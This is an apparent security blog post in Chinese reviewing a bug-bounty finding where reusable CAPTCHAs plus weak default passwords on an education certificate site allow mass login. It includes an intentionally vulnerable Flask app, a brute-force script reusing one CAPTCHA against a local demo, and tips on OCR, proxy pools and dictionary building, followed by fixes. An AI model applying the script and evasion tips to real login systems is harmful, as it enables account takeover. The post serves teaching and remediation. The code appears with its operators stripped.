验证码复用与弱口令组合漏洞:一次教育系统安全攻防实战复盘

发布时间:2026/7/4 15:40:53

验证码复用与弱口令组合漏洞:一次教育系统安全攻防实战复盘 1. 项目概述一次典型的安全攻防实战复盘最近在参与某教育行业安全众测项目Edusrc时遇到一个非常经典的案例。目标是一个提供在线证书查询与管理的站点表面上看登录流程有验证码防护似乎无懈可击。但经过一番测试发现其背后隐藏着“验证码复用”和“弱口令”两大安全隐患组合起来直接导致了一个可批量登录任意用户账号的高危漏洞。这个案例非常具有代表性它暴露了开发者在设计身份验证逻辑时常见的思维盲区。今天我就把这个案例的完整发现过程、技术原理、漏洞利用链以及修复建议毫无保留地分享出来。无论你是安全测试人员、开发工程师还是运维同学都能从中获得直接的启发和实操经验。简单来说这个漏洞的核心在于系统在登录环节的验证码校验逻辑存在缺陷允许同一个验证码被多次使用同时系统存在大量使用默认或简单密码弱口令的用户账号。攻击者利用验证码复用漏洞可以绕过验证码的防护再结合一个弱口令字典就能以极低的成本对大量账号进行自动化密码猜解最终实现批量非法登录。这不仅仅是单个功能点的bug而是一个典型的安全体系性短板。下面我们就来层层剥开这个漏洞的细节。2. 漏洞原理深度解析验证码复用与弱口令的“致命组合”要理解这个漏洞的威力我们需要分别拆解“验证码复用”和“弱口令”这两个独立的问题再看它们是如何产生化学反应最终导致严重安全风险的。2.1 验证码复用的本质与常见成因验证码CAPTCHA设计的初衷是区分人类用户和自动化脚本机器人防止暴力破解、垃圾注册等攻击。一个健壮的验证码机制其核心特征之一就是“一次性”One-Time Use。也就是说一个验证码在成功验证一次后应立即在服务端标记为失效无论后续请求是否携带该验证码都不应再通过校验。那么“验证码复用”漏洞是怎么产生的呢其根本原因在于服务端会话Session或令牌Token状态管理逻辑的缺陷。以下是几种典型的技术实现错误未绑定会话或绑定错误服务端生成验证码后没有将其与当前用户的会话IDSession ID或一个临时的、唯一的令牌进行强关联。例如系统可能只是简单地将验证码文本存储在某个全局变量或缓存中所有请求都去校验同一个值。验证后未及时销毁验证码校验通过后服务端没有立即从会话或缓存中清除该验证码。攻击者在一次成功的验证后可以继续使用同一个验证码发起新的请求。时间窗口过长验证码的有效期设置得过长例如30分钟甚至更长。虽然这在一定程度上仍算“一次性”但过长的有效期给了攻击者充足的时间进行自动化尝试。前端校验依赖错误地将验证码校验逻辑完全放在前端JavaScript代码中。攻击者可以轻易地禁用浏览器JS或修改前端代码从而绕过校验。在我遇到的这个案例中问题属于上述第1和第2种的结合。具体表现为登录页面每次刷新都会生成一个新的验证码图片但服务端用于校验验证码的“密钥”却在一定时间内或一定次数内保持不变且未与单次登录请求流程绑定。这就好比一把锁虽然每次开门后都换一张新门贴纸前端验证码图片但锁芯的密码服务端校验值却一直没换。2.2 弱口令问题的根源与危害放大弱口令Weak Password是一个老生常谈但始终高居不下的安全问题。在这个教育证书站案例中弱口令问题尤为突出因为系统存在一个默认密码策略教师账号的初始密码被设置为工号。这导致了几个严重问题可预测性攻击者一旦知道目标用户的工号这类信息在教育系统内部可能并非高度机密就等于知道了其初始密码。用户习惯很多用户没有修改初始密码的习惯或者修改后的密码复杂度依然很低如“工号123”、“姓名拼音生日”等。批量性由于工号通常有规律如按部门、入职年份编号攻击者可以很容易地生成一个庞大的、有效的用户名和密码字典。单独来看弱口令需要攻击者进行密码猜解。在验证码有效防护的情况下自动化猜解会被极大限制。然而一旦验证码的防护屏障被“复用漏洞”拆除弱口令问题就从“可能被利用”升级为“极易被批量利用”。2.3 “组合拳”的攻击链还原现在我们把两个漏洞串联起来还原攻击者的完整攻击链信息收集攻击者首先通过某种方式如信息泄露、社工库、或简单的规律猜测获取了一批目标教师的工号列表。这些工号即作为用户名。获取并固定验证码攻击者访问登录页面获取到一个验证码假设为“AB12”。由于存在复用漏洞这个验证码“AB12”在接下来的一段时间内比如5分钟对所有登录请求都有效。构建攻击载荷攻击者准备一个简单的字典文件其中每一行包含一个工号用户名和对应的密码初始密码就是工号本身或者常见的简单变种。自动化批量请求攻击者编写一个脚本使用固定的验证码“AB12”遍历字典中的每一个“工号:密码”组合向登录接口发送POST请求。结果筛选脚本根据服务器返回的响应如登录成功跳转、返回特定的成功状态码、或返回的JSON数据中包含用户token/session来判断哪些账号被成功登录。这个过程完全自动化速度极快。在验证码有效期内攻击者可以尝试成千上万个账号密码组合。由于大量账号使用弱口令成功率会非常高。注意在实际攻击中攻击者可能会采用更隐蔽的方式如使用代理IP池来规避IP频率限制或者将请求速率控制在较低水平以绕过简单的请求频率监控。但核心的漏洞利用逻辑不变。3. 实战复现手把手搭建测试环境与漏洞验证理解了原理我们最好通过一个模拟环境来亲手复现一下这样印象会更深刻。这里我会用一个简单的Python Flask应用来模拟存在漏洞的登录逻辑然后展示攻击脚本的编写。3.1 搭建存在漏洞的模拟登录服务我们先创建一个存在“验证码复用”和“弱口令”问题的后端服务。# vulnerable_app.py from flask import Flask, request, session, render_template_string, make_response import random import string from datetime import datetime, timedelta app Flask(__name__) app.secret_key a_very_insecure_secret_key # 仅用于演示生产环境必须用强密钥 # 模拟一个用户数据库格式用户名: 密码 (这里密码就是用户名“123”模拟弱口令) USER_DB { 10001: 10001123, 10002: 10002123, 10003: 10003123, teacher_wang: wang123456, } # **漏洞点1全局验证码存储未绑定会话** current_captcha None captcha_generated_time None CAPTCHA_VALID_DURATION 300 # 验证码有效时间5分钟过长 def generate_captcha(): 生成4位随机数字验证码 global current_captcha, captcha_generated_time current_captcha .join(random.choices(string.digits, k4)) captcha_generated_time datetime.now() print(f[DEBUG] 生成新验证码: {current_captcha}, 时间: {captcha_generated_time}) return current_captcha app.route(/) def index(): return h1模拟证书站登录存在漏洞/h1 form action/login methodpost 用户名: input typetext nameusernamebr 密码: input typepassword namepasswordbr 验证码: input typetext namecaptcha img src/captcha onclickthis.src/captcha?tDate.now() stylevertical-align: middle; cursor: pointer; title点击刷新br input typesubmit value登录 /form app.route(/captcha) def get_captcha(): # 每次访问/captcha都会生成新验证码但旧验证码在有效期内依然可用漏洞 captcha_text generate_captcha() # 这里简化处理实际应生成图片。我们直接返回文本用于演示。 return captcha_text app.route(/login, methods[POST]) def login(): username request.form.get(username) password request.form.get(password) user_captcha request.form.get(captcha) # **漏洞点2验证码校验逻辑缺陷** # 1. 检查是否有验证码 if not current_captcha: return 系统错误未生成验证码, 500 # 2. 检查验证码是否过期但未在验证后使其失效 if datetime.now() - captcha_generated_time timedelta(secondsCAPTCHA_VALID_DURATION): return 验证码已过期, 400 # 3. 校验验证码不区分大小写且未绑定会话 if user_captcha.upper() ! current_captcha.upper(): return f验证码错误 (服务器当前验证码: {current_captcha}), 400 # **漏洞点3弱口令用户存在** if username in USER_DB and USER_DB[username] password: return f登录成功欢迎用户 {username}, 200 else: return 用户名或密码错误, 401 if __name__ __main__: app.run(debugTrue, port5000)关键漏洞代码解读current_captcha是一个全局变量所有用户共享。用户A生成的验证码用户B也可以使用。验证码校验通过后current_captcha并没有被清空或标记为已使用在有效期内可以无限次使用。用户数据库USER_DB中的密码均为简单规则生成的弱口令。运行这个应用 (python vulnerable_app.py)访问http://127.0.0.1:5000你就得到了一个存在漏洞的登录页面。3.2 编写自动化攻击验证脚本接下来我们编写一个Python脚本来模拟攻击者利用上述漏洞进行批量登录尝试。# exploit_captcha_reuse.py import requests import time # 目标登录接口 LOGIN_URL http://127.0.0.1:5000/login # 获取验证码的接口用于首次获取并固定验证码 CAPTCHA_URL http://127.0.0.1:5000/captcha def get_fixed_captcha(): 获取一个验证码这个验证码将在后续攻击中固定使用 resp requests.get(CAPTCHA_URL) if resp.status_code 200: fixed_captcha resp.text.strip() print(f[*] 获取到固定验证码: {fixed_captcha}) return fixed_captcha else: print(f[!] 获取验证码失败: {resp.status_code}) return None def try_login(username, password, captcha): 尝试使用给定的用户名、密码和验证码进行登录 data { username: username, password: password, captcha: captcha } try: resp requests.post(LOGIN_URL, datadata, timeout5) if resp.status_code 200 and 登录成功 in resp.text: return True, resp.text else: return False, resp.text except Exception as e: return False, f请求异常: {e} def main(): # 1. 获取一个可复用的验证码 fixed_captcha get_fixed_captcha() if not fixed_captcha: return # 2. 准备弱口令字典 (模拟从信息收集得到的工号列表) # 格式: 用户名, 密码 weak_password_list [ (10001, 10001123), # 匹配我们模拟数据库中的账号 (10002, 10002123), (10003, 10003123), (10004, 10004123), # 不存在的账号 (teacher_wang, wang123456), (teacher_li, li654321), # 错误密码 ] print(f[*] 开始使用验证码 {fixed_captcha} 进行批量登录尝试...) success_list [] # 3. 遍历字典发起攻击 for username, password in weak_password_list: print(f[] 尝试: {username} / {password}, end ) success, result try_login(username, password, fixed_captcha) if success: print(f[SUCCESS] - {result}) success_list.append((username, password)) else: print(f[FAIL] - {result}) # 为避免触发可能的简单速率限制每次尝试间隔0.5秒 time.sleep(0.5) # 4. 输出攻击结果 print(f\n[*] 攻击完成。成功登录 {len(success_list)} 个账号:) for user, pwd in success_list: print(f - 用户名: {user}, 密码: {pwd}) if __name__ __main__: main()脚本运行逻辑首先访问/captcha接口获取一个验证码文本并存储在fixed_captcha变量中。定义一个包含弱口令的列表weak_password_list。遍历这个列表对每一个“用户名-密码”组合都使用同一个fixed_captcha向/login接口发起登录请求。根据响应判断登录是否成功并记录结果。运行这个攻击脚本你会看到它使用同一个验证码成功地批量测试了多个账号密码并找出了那些使用弱口令的账号。这完美复现了漏洞的利用过程。实操心得在实际渗透测试中验证码可能以图片形式返回。你需要先使用OCR库如pytesseract或机器学习模型来识别图片中的验证码然后再进行复用。如果验证码复杂度较高可能会增加一些难度但只要“复用”漏洞存在攻击就依然可行。此外真正的攻击字典会庞大得多可能包含数万甚至数十万个条目。4. 漏洞挖掘与测试方法论作为一名安全测试者如何系统性地发现这类漏洞呢不能只靠运气。下面分享我在这类登录环节测试中的标准化流程和技巧。4.1 验证码机制测试 Checklist面对一个带有验证码的登录/注册/找回密码等功能点我会按照以下清单进行测试一次性测试步骤正常流程获取验证码并完成一次成功验证如登录成功。然后不刷新页面使用相同的验证码和相同的用户名密码再次发起请求。预期第二次请求应该失败提示“验证码错误”或“验证码已使用”。漏洞如果第二次也成功了则存在验证码复用漏洞。跨会话复用测试步骤在浏览器A中获取验证码。在浏览器B或另一个隐私窗口、另一台机器中使用浏览器A获得的验证码通过肉眼识别或工具获取进行登录尝试。预期跨会话的验证码应无效。漏洞如果浏览器B登录成功说明验证码未与会话绑定。时效性测试步骤获取验证码后等待远超过界面提示的有效时间例如提示“有效时间5分钟”则等待10分钟再尝试使用。预期应提示验证码过期。漏洞如果仍能使用说明服务端过期校验失效或有效期设置过长。前端绕过测试步骤使用Burp Suite等工具拦截登录请求直接删除或修改请求中的验证码字段然后放行。预期服务端应返回验证码错误。漏洞如果删除验证码字段后请求依然成功说明服务端可能根本没有校验或者校验逻辑存在严重缺陷。验证码复杂度与可识别性分析虽然这与复用漏洞无关但简单的数字、扭曲不严重的字母验证码容易被OCR识别从而为自动化攻击打开第一道门。可以顺便评估。4.2 弱口令发现与字典构建策略发现弱口令一半靠技术一半靠“情报”和对业务的理解。信息收集与规律挖掘目标尽可能收集目标系统的用户命名规则。对于教育系统可能是“工号”、“学号”、“姓名拼音”、“邮箱前缀”等。方法寻找已公开的信息泄露数据在合法授权范围内如从测试提供的样例账号中分析。尝试注册新账号观察系统生成的初始用户名规则。利用网站其他功能点如用户搜索、证书查询暴露的部分用户信息。构建针对性字典基础字典使用通用的弱口令字典如rockyou.txt,top1000.txt。规则生成字典这是最有效的方法。根据收集到的命名规则使用工具生成字典。工具crunch,hashcat的--stdout模式或自己写Python脚本。示例如果发现用户名为6位数字工号密码可能是“工号‘123’”。则可以生成规则?d?d?d?d?d?d123。组合将收集到的已知用户名列表与常见的简单密码后缀如123, 123456, 123, 姓名缩写等进行组合。利用验证码绕过进行高效爆破一旦确认存在验证码复用漏洞立即将准备好的针对性字典投入自动化脚本进行测试。工具化可以将上述的Python攻击脚本与hydra,burp intruder或ffuf等工具结合实现更高并发和更灵活的载荷配置。4.3 工具辅助与手动验证的结合自动化工具能提高效率但手动验证能发现逻辑深处的漏洞。Burp Suite是测试这类漏洞的瑞士军刀。Intruder用于自动化批量发送登录请求。在确认验证码可复用的前提下将用户名和密码设为变量验证码设为固定值进行攻击。Repeater用于手动、精细地测试验证码的各种状态如使用后、过期后、修改后。Sequencer可以分析验证码的随机性但在此漏洞中不是重点。自定义脚本如上面演示的Python脚本灵活性最高可以定制复杂的攻击逻辑和数据处理。浏览器开发者工具用于观察登录请求的完整参数、Session/Cookie的变化以及验证码图片的获取接口。核心思路是先用自动化工具或脚本进行广撒网式的探测和初步利用再用手动测试对可疑点进行深度验证和漏洞链挖掘。5. 修复方案与安全开发实践漏洞被发现了关键是如何修复和避免。这里从开发者和架构师的角度提供完整的修复方案和安全建议。5.1 验证码机制的安全加固修复验证码复用漏洞核心原则是“一次一密会话绑定及时失效”。正确的服务端实现流程生成当用户请求验证码图片时服务端生成一个随机字符串验证码值同时生成一个唯一的令牌如UUID将此令牌与验证码值、过期时间一起存储在服务器缓存如Redis中键名必须与用户会话强关联例如captcha:{session_id}或captcha:{random_token}。将令牌而非验证码值随图片响应返回给前端可通过Cookie、隐藏表单域或响应头。校验用户提交登录表单时服务端同时收到用户输入的验证码和前端传来的令牌。服务端用这个令牌作为键去缓存中查找对应的验证码值和过期时间。如果找不到 → 验证码无效可能已使用或令牌伪造。如果找到但已过期 → 验证码过期。如果找到且未过期则比对用户输入的验证码与存储的值忽略大小写。最关键的一步无论校验成功与否在完成本次校验后立即从缓存中删除该令牌对应的记录。这是实现“一次性”的根本。前端配合验证码图片的src应包含令牌如/captcha?tokenxxxx。提交表单时需要将这个token一并提交。示例修复代码伪代码/Flask示例import redis import uuid r redis.Redis(...) # 连接Redis app.route(/captcha) def get_captcha(): captcha_text generate_random_text() # 生成唯一令牌并绑定到当前会话这里用session_id简化演示 token str(uuid.uuid4()) session[captcha_token] token # 存储键为 token值为验证码文本和过期时间 r.setex(fcaptcha:{token}, 300, captcha_text) # 5分钟过期 # 生成图片并将token以某种方式返回如写入图片URL return generate_image(captcha_text), token app.route(/login, methods[POST]) def login(): user_input_captcha request.form[captcha] token request.form.get(token) or session.get(captcha_token) if not token: return 请求非法, 400 # 从缓存获取验证码get操作是原子的 stored_captcha r.getdel(fcaptcha:{token}) # 关键获取并删除 if not stored_captcha: return 验证码已失效或错误, 400 if user_input_captcha.upper() ! stored_captcha.decode().upper(): return 验证码错误, 400 # ... 后续用户名密码校验 ...关键修复点r.getdel()命令在获取值的同时将其删除确保了验证码的“一次性”。补充安全措施设置合理的过期时间通常60-120秒足够不宜过长。增加图形干扰防止OCR识别但需平衡用户体验。考虑行为验证码在安全要求极高的场景可引入滑动拼图、点选文字等更高级的验证码但其后端逻辑同样需遵循“一次性”原则。5.2 弱口令问题的综合治理弱口令不能只靠技术限制需要一套组合拳。强制密码策略复杂度要求强制要求密码包含大小写字母、数字、特殊字符中的至少三种并达到最小长度建议至少12位。密码黑名单禁止使用“123456”、“password”、用户名、公司名等常见弱口令。定期修改对于高权限账户强制要求定期如90天修改密码。禁止密码重复使用系统应记录用户的历史密码哈希禁止设置与近期如最近5次相同的密码。消除默认密码初始随机密码新用户注册或管理员创建账号时系统应生成一个强随机密码并通过安全渠道如加密邮件、短信告知用户且强制用户首次登录时必须修改。无默认密码对于某些系统如本例的教师工号登录根本不应该存在一个公开的、统一的默认密码。应采用“首次使用激活”流程由用户自行设置密码。账户安全监控与防护登录失败锁定同一账号在短时间内如5分钟内连续登录失败超过一定次数如5次应临时锁定该账号一段时间如15分钟或要求进行额外的身份验证如通过邮箱/手机找回。异地登录提醒检测到用户从非常用地理位置的IP登录时应通过二次验证或发送告警通知。密码强度实时反馈在用户设置密码时前端实时显示密码强度引导用户设置强密码。5.3 安全开发生命周期SDL建议将安全内嵌到开发流程中才能从根本上减少漏洞。需求与设计阶段明确安全需求。对于登录模块必须在需求文档中写明“验证码需具备一次性、防复用特性”、“密码策略需符合XX标准”。编码阶段使用经过安全审计的库和框架。对身份验证、会话管理、密码处理等关键代码进行同行评审重点关注状态管理如验证码、会话令牌的逻辑。测试阶段自动化安全测试SAST/DAST将验证码逻辑、密码策略等作为安全检查点纳入自动化扫描。渗透测试定期邀请内部或外部的安全团队对系统进行黑盒/白盒测试登录功能是必测项。部署与运维阶段监控异常的登录行为模式如单一IP对大量账号的登录尝试、单个账号高频的登录失败等并设置告警。6. 总结与延伸思考回顾这个Edusrc案例它给我们上了一堂生动的安全教育课。一个看似简单的“验证码复用”漏洞在“弱口令”这个帮凶的加持下杀伤力呈指数级放大。这提醒我们安全是一个整体任何一个环节的短板都可能被攻击者串联起来形成致命的攻击链。在实际工作中我经常发现开发人员会过于关注业务功能的实现而忽略了这些“非功能性”的安全逻辑。他们会记得生成验证码图片却忘了让每个验证码“独一无二”他们会设置登录功能却对默认密码的风险视而不见。作为安全人员或具备安全意识的开发者我们需要扮演“挑刺者”和“布道者”的角色不断推动团队提升安全水位。最后分享一个我个人的测试习惯对于任何带验证码的交互点拿到手的第一时间就是测试它的“一次性”。用Burp Repeater重放一次成功登录的请求看看会发生什么。这个简单的动作往往能最快地发现一类中高危漏洞。安全测试有时候需要的不是多么高深的技术而是这种对常见漏洞模式的敏感性和坚持执行基础检查的耐心。

相关新闻